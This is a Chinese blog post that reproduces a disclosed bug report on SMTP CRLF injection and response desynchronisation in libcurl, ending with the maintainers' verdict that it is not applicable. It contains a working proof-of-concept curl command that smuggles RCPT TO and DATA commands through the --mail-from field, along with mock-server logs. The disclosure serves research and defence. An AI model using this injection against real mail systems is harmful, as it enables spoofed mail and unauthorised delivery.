libcurl中的SMTP CRLF注入与协议失步漏洞详解

本文深入分析了libcurl库中一个关键的SMTP协议处理程序安全漏洞。该漏洞允许攻击者通过向电子邮件地址字段注入CRLF序列,实现SMTP命令走私和协议状态失步,从而绕过安全控制、伪造邮件,将任意命令注入SMTP数据流。

SMTP CRLF注入与协议失步漏洞报告

报告 #3481595

漏洞标题:libcurl中的SMTP CRLF注入与协议失步漏洞

提交者:ltl_professor 提交至:curl 提交时间:13天前

执行摘要

在libcurl的SMTP协议处理程序中发现一个关键安全漏洞。该漏洞允许攻击者通过向电子邮件地址字段注入CRLF序列,实现SMTP命令走私和协议状态失步。攻击者可利用此漏洞绕过安全控制、伪造电子邮件,并将任意命令走私到SMTP数据流中。

漏洞详情

1. 根本原因:输入验证不足

libcurl文件 lib/smtp.c 中的函数 smtp_parse_address 负责解析CURLOPT_MAIL_FROMCURLOPT_MAIL_RCPTCURLOPT_MAIL_AUTH等选项的电子邮件地址。

与SMTP处理程序的其他部分(例如自定义请求)不同,该函数未使用带有REJECT_CTRL标志的Curl_urldecode函数,也未对控制字符进行任何验证。它允许 \r\n 通过并进入后缀组件,该组件随后被拼接到通过 Curl_pp_sendf 发送的原始协议命令中。

2. 协议失步(响应走私)

SMTP状态机未能检测到来自服务器的“额外”响应,放大了此漏洞的危害。

libcurl使用 lib/pingpong.c 中的“乒乓”机制,发送一个命令后等待一个响应。如果攻击者注入多个命令(例如 MAIL FROM:<addr>\r\nQUIT),服务器会发送多个响应。

代码层面证据(lib/smtp.c

  • 存在漏洞MAILRCPTDATA响应的处理程序(第1152、1173、1233行)未能检查pp.overflow标志。它们读取第一个响应并进入下一个状态,将注入的响应留在缓冲区中,被后续合法命令的“结果”所使用。
  • 已防护STARTTLS处理程序(第930行)正确实现了此检查:
1
2
if(smtpc->pp.overflow)
  return CURLE_WEIRD_SERVER_REPLY;

核心邮件发送状态中缺少此检查,使得攻击者能够使客户端-服务器状态失步,导致curl基于注入的响应错误解释后续命令的成功或失败。

概念验证

图片说明:PoC执行截图,展示了服务器端接收到的包含多个命令的数据块以及协议失步的证据。

复现步骤

步骤1:启动模拟SMTP服务器 在终端中运行以下命令启动模拟服务器。该服务器记录接收到的每条命令,并突出显示何时处理了走私指令。

1
python3 smtp_repro.py

步骤2:运行漏洞利用命令 在另一个终端中,运行以下curl命令。我们使用一个特制的 --mail-from 参数,其中包含走私的 RCPT TODATA 块。

1
2
3
4
curl -v smtp://localhost:2525 \
  --mail-from $'<attacker@example.com>\r\nRCPT TO:<victim@internal.trust>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
  --mail-rcpt "legit@example.com" \
  --upload-file /dev/null

步骤3:观察协议失步 服务器端输出(终端1) Python服务器将显示它接收了一个数据块,但将其解释为多个独立的SMTP命令:

1
2
3
4
5
6
7
8
[!] Received Data Block (potentially containing multiple commands):
    [C->S] MAIL FROM:<attacker@example.com>
    [C->S] RCPT TO:<victim@internal.trust>
    [C->S] DATA
    [C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<victim@internal.trust>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase

协议失步证明 观察服务器日志的最后几行:

  • curl发送其“合法的” RCPT TO:<legit@example.com>
  • curl从套接字读取下一个可用字节。
  • 由于注入,套接字中的下一个响应是用于注入命令的 354250
  • curl将此走私的响应视为对 legit@example.com 的验证。

实际 curl -v 影响: curl日志将报告它已成功将邮件发送给 legit@example.com,但实际上,它验证的响应是针对走私的收件人 victim@trust.internal 的。如果注入的命令被精心构造以符合预期的响应代码,即使合法电子邮件可能失败,curl也可能报告成功。

修复建议

  1. 实施REJECT_CTRL:更新smtp_parse_address函数(位于 curl-master/lib/smtp.c#1825-1906),使其拒绝控制字符。
  2. 强制执行通用溢出检查:为所有SMTP状态响应处理程序(MAILRCPTDATAVRFYEXPN)添加pp.overflow验证,以确保客户端-服务器状态同步。

影响

  • 电子邮件欺诈/欺骗:伪造发件人地址并注入任意邮件头。
  • 未经授权的分发:通过走私RCPT TO命令向未公开的收件人发送电子邮件。
  • 协议走私:将curl用作SSRF代理(curl-master/lib/urlapi.c#1271-1277),将命令隧道传输到内部SMTP中继服务器。

项目方回应与报告状态

curl开发人员 (bagder) 评论

“此问题已被多次报告,但仍不被视为curl安全问题。已有文档说明并发出警告。”

另一位curl开发人员 (jimfuller2024) 补充验证

运行提供的PoC复现了描述的行为,但重申了项目方的立场。

报告状态更新

  • 状态Not Applicable(不适用)
  • 处理:bagder关闭了报告,并请求披露此报告以符合项目的透明度政策。
  • 披露:ltl_professor同意披露。报告已于提交当天公开。

报告元数据

  • 报告日期:2025年12月29日 UTC 下午5:23
  • 披露日期:2025年12月29日 UTC 下午9:28
  • 严重性:中危 (4 ~ 6.9)
  • 弱点:CRLF注入
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计